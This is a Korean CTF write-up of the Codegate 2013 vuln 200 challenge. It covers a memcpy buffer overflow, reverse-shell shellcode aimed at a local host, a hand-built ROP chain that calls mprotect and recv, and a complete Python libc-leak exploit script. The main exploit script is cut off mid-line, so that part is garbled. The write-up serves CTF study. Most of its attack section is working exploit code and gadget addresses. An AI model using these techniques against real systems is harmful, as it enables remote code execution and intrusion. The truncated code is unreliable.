int $0x80

Codegate 2013 vuln 200 본문

해킹공부/캡쳐더플래그

Codegate 2013 vuln 200

cd80 cd80 2013.11.28 20:13
syntaxhighlighter 적용하다가 실수해서 이렇게됐는데 나중에 시간날때 다시풀면서 수정해놓겠슴다

***
문제를 풀고 나중에 친구와 얘기해봤는데
제가 문제를 푸는 중간에도 rwx 권한을 갖는 영역이 있단걸 알긴 알았는데
공부하는셈 치고 원래 풀던대로 풀었습니다
쉽게 푸시려면 rwx영역에 쉘코드 받으시면 엄청 쉽게 푸실수있습니다
***


좀더 수월한 풀이를 위해 안티디버깅 하는부분을 패치해 진행했습니다

아직 실력이없어 가젯을 자동으로 찾는법을몰라 수작업으로 다찾았습니다... 힘드네요

2014년대회전까진 자동으로 찾는걸 얼른 공부해둬야겠습니다


자세한 풀이법은 나중에 작성하겠습니다


문제원본은 http://shell-storm.org/repo/CTF/CodeGate-2013/Vulnerable/200/  에서 받으실 수 있습니다

제가 풀이한 환경은 Ubuntu 12.10 이고

nx, aslr, ascii armor가 설정되어 있습니다

LIBC버젼은 2.15입니다

대회때 libc버젼이 공개됐는지 기억이안나서 실제 대회때 libc가 공개되어있지 않았다는 전제하에 libc내용을 leak하는 코드도 맨 아래에 넣었습니다 이 코드를 사용해 libc전체를 leak하거나 일정부분을 leak해 자신이 갖고있는 vm들을 부팅시켜 그 vm에 존재하는 libc와 대조해봄으로써 대회환경 libc를 추측할 수 있습니다

사전에 libc를 버젼별로 구해놓고 대조하면 더 편합니다

실제로 제가 문제를 풀땐 libc버젼을 알고 있기 때문에 이렇게까지 할필욘 없어서 개념증명용으로 작성했습니다


문제로 접속하면 이런 메뉴가 뜨고

먼저 메뉴중 하나를 고르면 그다음에 선택한 항목에 대한 인자를 입력하는 방식입니다


이 메뉴에는 없지만 리버싱해보면 write라는 명령이 하나 더 있습니다

이 write명령에서 memcpy() 함수의 두번째인자에 유저입력값이 들어가고 세번째인자에 유저입력값의 길이가 들어가기때문에

버퍼오버플로우가 발생합니다


사용한 쉘코드는 msf linux/x86/shell_reverse_tcp LHOST=192.168.60.133 LPORT=4321 입니다

↓익스플로잇


#!/usr/bin/env python
from socket import *
import struct
import time 

p = lambda x : struct.pack("

풀면서 노트한 내용입니다


0x332c0 mprotect - fork

0x804b0a0 .bss

0x80488c0 fork@PLT

0x804b06c fork@GOT

0x8048780 recv@PLT


0x804897e add %eax, 0x5d5b04c4(%ebx); ret

0x80493ac pop ebx, esi, edi, ebp; ret

0x8049a57 pop ebx, ebp; ret

0x8048a81 mov -0x10(%ebp), %eax; leave; ret



0x804b0a0 0x8049a57 (pop ebx, ebp; ret)

0x804b0a4 0xaaa9aba8 (fork@GOT - 0x5d5b04c4)

0x804b0a8 0x804b0c0 ( &0x332c0 + 0x10 )

0x804b0ac 0x8048a81 ( mov -0x10(%ebp), %eax; leave; ret )

0x804b0b0 0x332c0 ( mprotect - fork )

0x804b0b4 0x12341234 (dummy)

0x804b0b8 0x12341234 (dummy)

0x804b0bc 0x12341234 (dummy)

0x804b0c0 0x12341234 ( ebp )

0x804b0c4 0x804897e ( add %eax, 0x5d5b04c4(%ebx); ret )



0x804b0c8 0x80488c0 ( fork@PLT (mprotect@LIBC) )

0x804b0cc 0x80493ad ( pppr )

0x804b0d0 0x8048000 ( &shellcode )

0x804b0d4 0x300  ( len )

0x804b0d8 0x7  ( PROT_WRITE | PROT_READ | PROT_EXEC )


0x804b0dc 0x8048780 ( recv@PLT )

0x804b0e0 0x8049a58 ( pop, ret )

0x804b0e4 0x4  ( sockfd )

0x804b0e8 0x8048000 ( &shellcode )

0x804b0ec 0x300  ( len )

0x804b0d0 0x0  ( flags )

 




=====================================================================

leak_libc.py

#!/usr/bin/env python

from socket import *

import struct

import sys

import curses.ascii


p = lambda x : struct.pack("<L", x)

up = lambda x : struct.unpack("<L", x)[0]


s = socket(AF_INET, SOCK_STREAM)

s.connect(("127.0.0.1", 7777))


s.recv(4096)


send_plt = p(0x080488a0)

free_addr = p(0x8048b0a0)


accept_got = p(0x804b030)

socket_got = p(0x804b034)

ppppr = p(0x080493ac)


payload = "write" + "A"*240


payload += send_plt

payload += ppppr

payload += p(4)

payload += accept_got

payload += p(4)

payload += p(0)


payload += send_plt

payload += ppppr

payload += p(4)

payload += socket_got

payload += p(4)

payload += p(0)


s.send(payload)


def dump(str):

i=0

j=0

leng = len(str)

for i in range(0, (leng%16 == 0) and (leng/16) or (leng/16)+1):

cur = i*16

sys.stdout.write("0x%08x "%cur)

j=0

for j in range(0, (len(str[cur:(cur+1)*16]) == 16) and 16 or (len(str[cur:]))):

sys.stdout.write("%02x "%ord(str[cur+j]))

for j in range(0, (len(str[cur:(cur+1)*16]) == 16) and 16 or (len(str[cur:]))):

if curses.ascii.isalnum(str[cur+j]):

sys.stdout.write("%c" % str[cur+j])

else:

sys.stdout.write(".")

print ""



dump(s.recv(4096))

dump(s.recv(25))

accept_got = up(s.recv(4))

socket_got = up(s.recv(4))


print "accept : 0x%08x"%accept_got

print "socket : 0x%08x"%socket_got

if accept_got > socket_got:

tmp = accept_got - socket_got

else:

tmp = socket_got - accept_got

print "distance : 0x%08x" % tmp 





신고
5 Comments
댓글쓰기 폼